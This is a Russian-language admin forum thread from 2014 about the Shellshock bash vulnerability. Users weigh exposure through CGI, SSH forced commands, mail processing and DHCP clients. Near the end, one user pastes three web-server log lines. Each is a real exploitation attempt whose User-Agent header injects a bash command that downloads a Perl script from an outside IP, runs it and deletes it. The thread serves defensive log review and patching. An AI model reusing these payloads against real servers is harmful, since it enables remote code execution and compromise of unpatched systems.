[st_re]

Но я так понимаю, что для того, чтобы воспользоваться данной дырой, надо сначала сломать ssh?

Так я прав?

 

Таки уязвимо везде где так или иначе пользователь может впихать чтото свое в переменные окружения перез запуском bash.. скорее через веб, чем через SSH, если посторонний. SSH может быть инетересен в плане повышения прмвелегий, например если дали права запустить чтото одно, то вдруг можно запустить все остальное.

 

учитывая что /bin/bash во многих линуксах дефолт, то многие варианты запуска CGI на линуксах будут иметь проблемы.

 

 

Еще почта бывает.. Если при обработке почты используется шелл и там хоть чтото подадает в переменные окружения, то в приципе можно и такое поюзать. Не очень давно была бага как раз в почте, не помню, в какихто лохматых годов примерах екзима кажется был шел. И как ни странно, этот пример оказался популярен.

Изменено 27 сентября, 2014 пользователем st_re

[Sergeylo]

seems to be safe, though we can't be sure.

Ну это базовый принцип восприятия безопасности вообще всего, не изолированного физически (:

[Ivan_83]

Так я прав?

И да и нет.

Нет - нужно залогинится в ссш.

Да - если залогинился сможет выполнить любую комманду от имени того кем залогинился, в обход ForceCmd. Это из того что я точно понял об этом.

Выше - написал как это предположительно купировать.

 

Но остаются CGI через апач и подобные inetd.

Остаётся дырка в DHCP клиенте.

И хз где ещё.

[pppoetest]

Обновился, это кажет, что вроде все норм.

[ThreeDHead]

В Дебианах, с Squeeze и выше, по умолчанию dash. Уязвимости нет в таком случае?

[pppoetest]

Странно, у мну в дефолтной версии wheezy баш стоит.

[Abram]

Имеется в виду /bin/sh. Там действительно симлинк на dash.

[Tem]

Нашел в логах

173.45.100.18 - - [29/Sep/2014:10:32:46 +0400] "GET /cgi-bin/hi HTTP/1.0" 404 406 "-" "() { :;}; /bin/bash -c \"cd /tmp;wget http://213.5.67.223/ji;curl -O /tmp/ji http://213.5.67.223/jurat ; perl /tmp/ji;rm -rf /tmp/ji;rm -rf /tmp/ji*\""

142.4.215.115 - - [01/Oct/2014:14:30:40 +0400] "GET /cgi-bin/hi HTTP/1.0" 404 406 "-" "() { :;}; /bin/bash -c \"cd /tmp;wget http://89.33.193.10/ji;curl'>http://89.33.193.10/ji;curl -O /tmp/ji http://89.33.193.10/ji ; perl /tmp/ji;rm -rf /tmp/ji\""

146.71.111.226 - - [04/Oct/2014:13:15:33 +0400] "GET /cgi-bin/tell HTTP/1.0" 404 410 "-" "() { :;}; /bin/bash -c \"cd /var/tmp ; rm -rf j* ; wget http://89.33.193.10/ji ; lwp-download http://89.33.193.10/ji ; curl -O /var/tmp/ji http://89.33.193.10/ji ; perl /var/tmp/ji ; rm -rf *ji;rm -rf jur\""

Но так был в отпуске и далеко от инета не успел накатить обновления, если apache дал отлуп по 404, то шанса сраьотки эксплойта нет ?